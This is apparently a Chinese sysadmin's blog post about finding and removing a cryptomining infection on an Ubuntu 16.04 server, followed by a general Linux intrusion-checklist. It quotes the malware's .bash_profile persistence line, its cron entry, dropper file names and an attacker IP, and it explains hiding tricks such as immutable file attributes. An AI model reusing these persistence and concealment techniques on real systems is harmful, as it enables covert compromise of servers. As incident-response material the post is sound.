环景:

Ubuntu16.04.06 LTS

问题描述:

-bash 进程占用cpu很高,别的进程开启运行过后就被它killed,-bash一直占用50%的CPU,服务器被拉的嗷嗷叫

Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_定时任务

解决方案:

1.netstat -antlp|grep -e -bash -e rsync 查看进程通信信息**

Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_反病毒_02

与外国157.245.164.26地址通信

htop

Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_bash_03

2.root@ps-SYS-4028GR-TR:/# crontab -l 查看计划任务

  • /dev/shm/.bash/bash

删除crontab任务:crontab -r

3.ls -l /proc/28505/exe #28505为当时进程号 查看进程位置

lrwxrwxrwx 1 root root 0 Nov 5 13:04 /proc/28505/exe -> /usr/bin/-bash (deleted)

显示的是这个样子 exe -> /usr/bin/-bash (deleted) 表示在运行已经被删除,是刻意隐藏代码的一种手段

进程和文件定时任务清除后,还是会隔一段时间自动开启

继续检查

4.查看环境变量.bash_profile时发现存在异常:

root@ps-SYS-4028GR-TR:~# cat .bash_profile 查看环境变量

cp -f -r – /bin/bprofr /bin/-bash 2>/dev/null && /bin/-bash -c >/dev/null 2>&1 && rm -rf – /bin/-bash 2>/dev/null

5.发现木马文件/bin/bprofr

删除,rm –rf /bin/bprofr,执行时报如下错误:

rm –rf /bin/bprofr : Operation not permitted

root@ps-SYS-4028GR-TR:/bin# lsattr bprofr 查看文件属性

----ia-------e-- bprofr

root@ps-SYS-4028GR-TR:/bin# chattr -ia bprofr 去除属性

root@ps-SYS-4028GR-TR:/bin# rm -rf bprofr 删除文件

继续观察观察····

才消停几个小时,又发作

查看bin目录下5个文件,-bash(大爷)、 initdr、 sysdr、 bprofr(之前已经删了)、 crondr,这5大包工头黑壳工具,4个都是属于uucps组

Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_定时任务_04

在这期间一不留神误删了正常bash,欲哭无泪····

​恢复文章​

Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_环境变量_05

6.删除5大包工头和环境变量(提示没有权限,更改权限再删除)

root@ps-SYS-4028GR-TR:~# vi .bash_profile

提示没有权限

[7]+ Stopped vi .bash_profile

root@ps-SYS-4028GR-TR:~# lsattr .bash_profile

----ia-------e-- .bash_profile

root@ps-SYS-4028GR-TR:~# chattr -ia .bash_profile

root@ps-SYS-4028GR-TR:~# vi .bash_profile

root@ps-SYS-4028GR-TR:~# cat .bash_profil

把这些文件导出用火绒扫了下,360扫不出

Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_bash_06Ubuntu16.04.06 LTS -bash 进程占用cpu很高,中了挖矿病毒_反病毒_07

入侵排查整理

  1. 定时任务排查

定时任务crontab是挖矿病毒都会用到的东西,所以定时任务一定要看。

1crontab-l #列出所有的定时任务

2crontab -r #删除所有的定时任务,可能会删除我们自己的配置信息,不推荐使用

3crontab -e #编辑crontab文件

一些需要关注的定时任务文件

1/var/spool/cron/* #centos的

2/var/spool/cron/crontabs/* #ubuntu的

3/var/spool/anacron/*

4/etc/crontab

5/etc/anacrontab #异步定时

6/etc/cron.hourly/*

7/etc/cron.daily/*

8/etc/cron.weekly/

9/etc/cron.monthly/*

  1. 用户密码

排查/etc/passwd

1stat/etc/passwd #查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。

2cat /etc/passwd | grep-v nologin #查看除了不可登录以外的用户都有哪些,有没有新增的

3cat /etc/passwd | grepx: 0#查看哪些用户为root权限,有没有新增的

4cat /etc/passwd | grep/bin/bash#查看哪些用户使用shell

  1. 导出操作记录

如果攻击者没有删除造作记录,我们可以从操作记录中发现一些我们想要的东西

1exportHISTTIMEFORMAT= "%F %T ​​whoami​​ "#设置history显示时间和用户名

2history> /home/xxx/history.log

  1. 日志

日志总是能发现一些蛛丝马迹,所以日志也同样重要。存放在/var/log目录下的东西都认真看一下

1/var/ log/secure #记录安全相关的日志,重点看一下

2/var/ log/btmp #登陆失败的日志记录

3lastb -f btmp-2020xxxx #可以查看过去的某个登录失败记录

4/var/ log/wtmp #登陆成功的日志记录

5#wtmp和btmp只能使用 last和lastb命令查看,不能直接打开看内容的。

6/var/ log/yum.log #安装记录,我们可以看一下最近有没有安装一些特殊的依赖库什么的

  1. 进程排查

1top 命令可以直接清除看到实施情况。

2ps aux --sort=pcpu | head -10#查看cpu占用率前十的进程,有时候可以发现top发现不了的东西

3ls -l /proc/*/exe | grep xxx #如果我们知道恶意程序的启动文件大致位置,可以使用这个发现无文件的恶意进程

  1. 域名hosts

有一些挖矿程序会修改 /etc/hosts文件,请看一下其中内容是否被更改过

前两天在另外的项目组上发现的某个挖矿病毒就会修改hosts文件

这是从那台服务器上提取的一些恶意的配置内容

10 .0.0.0aliyun.one

20 .0.0.0lsd.systemten.org

30 .0.0.0pastebin.com

40 .0.0.0pm.cpuminerpool.com

50 .0.0.0systemten.org

7.网络连接

有时候我们通过网络连接发现有些IP很可以,就可以通过ip找到进程发现问题。

1netstat-antlp | grep x.x.x.x | awk ‘{print $7}’ | cut -f1 -d “/”#获取存在某ip的进程id号